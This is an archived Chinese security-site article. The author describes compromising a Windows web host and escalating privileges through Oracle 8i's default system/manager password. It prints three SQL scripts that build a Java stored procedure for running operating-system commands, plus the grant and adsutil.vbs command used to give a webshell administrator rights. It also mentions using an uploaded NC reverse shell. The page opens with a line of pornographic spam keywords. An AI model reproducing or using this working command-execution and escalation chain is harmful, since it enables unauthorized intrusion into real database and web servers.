国产精品香蕉在线观看网,亚洲欧美精品综合在线观看,亚洲不卡av一区二区无码不卡,亚洲日本精品国产第一区二区

移動安全 安全管理 應用案例 網(wǎng)絡威脅系統(tǒng)安全 應用安全 數(shù)據(jù)安全 云安全

利用ORACLE的system默認口令提升權(quán)限

時間:2011-05-04 15:49來源: 點擊:
日,偶到一主機上逛了一圈 主機的配置 還算是安全 偏偏一個比較隱藏的目錄下 殘留一upfile.asp,結(jié)果輕輕松松的得到一webshell接著在主機上逛了逛。
Tags系統(tǒng)安全(735)權(quán)限(21)  

  近日,偶到一主機上逛了一圈 主機的配置 還算是安全 偏偏一個比較隱藏的目錄下 殘留一upfile.asp,結(jié)果輕輕松松的得到一webshell接著在主機上逛了逛,拿出superscan從外面掃了下 只開放了80端口 從user\程序目錄里 發(fā)現(xiàn)有一快捷方式firecontrol 好象是某款硬件的控制臺?EBSHELL下檢測了下 開放的服務 發(fā)現(xiàn)一般的可提權(quán)的方法 都不可行 無SERV-U等等 主機的補丁也是打到了最新.

  試了下,傳了個NC上去 反連接得到一SHELL 這下比在老兵的管理器里舒服多了在C盤下看到一目錄 oracle 看了下C:\oracle\ora81\network\ADMIN\tnsnames.ora文件 確定了主機的服務名xxx 看了下版本 oracle 8i 用連接器 Provider=MSDAORA.1;Password=manager;User ID=system;Data Source=xxxx 試了下默認的system帳戶 密碼manager結(jié)果真的就連接到了本地的oracle服務這下好了 oracle的system帳戶 就像是mssql下的sa 我們來通過他來提升權(quán)限

  馬上編輯了幾個腳本

  1.sql

  create or replace and compile

  java source named "Util"

  as

  import java.io.*;

  import java.lang.*;

  public class Util extends Object

  {

  public static int RunThis(String args)

  {

  Runtime rt = Runtime.getRuntime();

  int rc = -1;

  try

  {

  Process p = rt.exec(args);

  int bufSize = 4096;

  BufferedInputStream bis =

  new BufferedInputStream(p.getInputStream(), bufSize);

  int len;

  byte buffer[] = new byte[bufSize];

  // Echo back what the program spit out

  while ((len = bis.read(buffer, 0, bufSize)) != -1)

  System.out.write(buffer, 0, len);

  rc = p.waitFor();

  }

  catch (Exception e)

  {

  e.printStackTrace();

  rc = -1;

  }

  finally

  {

  return rc;

  }

  }

  }

  ---------------------------------------

  2.sql

  create or replace

  function RUN_CMD(p_cmd in varchar2) return number

  as

  language java

  name 'Util.RunThis(java.lang.String) return integer';

  -------------------------------------

  3.sql

  create or replace procedure RC(p_cmd in varchar2)

  as

  x number;

  begin

  x := run_cmd(p_cmd);

  end;

  ---------------------------------

  保存在c:\下

  然后用反連接得到的shell運行 sqlplus system/manager@xxx

  然后在 再來執(zhí)行腳本

  SQL>@C:\1.sql

  SQL>@C:\2.sql

  SQL>@C:\3.sql

  看到JAVA 已創(chuàng)建 函數(shù)已創(chuàng)建 過程已創(chuàng)建

  接著我們繼續(xù)

  SQL> variable x number;

  SQL> set serveroutput on

  SQL> exec dbms_java.set_output(100000);

  SQL>grant javasyspriv to system

  看到授權(quán)成功

  接著我們就可以來執(zhí)行系統(tǒng)命令了 我想 先把ASP.dll加入特權(quán)一組

  SQL>exec :x := RUN_CMD('cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "c:\winnt\system32\inetsrv\asp.dll" ');

  看到過程已經(jīng)成功完成 這個時候我們重新登陸我們的webshell 他已經(jīng)具有admin權(quán)限了

  接著 再用NC返回一個shell 已經(jīng)是管理權(quán)限的了 我們可以做我們想干的事了 因為這個主機有防火墻 過濾了除80以外的端口 所以不好做圖形的后門 只有留下一有權(quán)限的webshell到此 已經(jīng)提權(quán)成功咯.

  上次看到一篇文章里說 還有種 可以利用msvcrt.dll調(diào)用system()函數(shù)執(zhí)行系統(tǒng)命令 結(jié)果找了很多資料 都沒找到 如果哪位高手有這方面的資料 希望你可以 發(fā)布出來 共享一下

------分隔線----------------------------

推薦內(nèi)容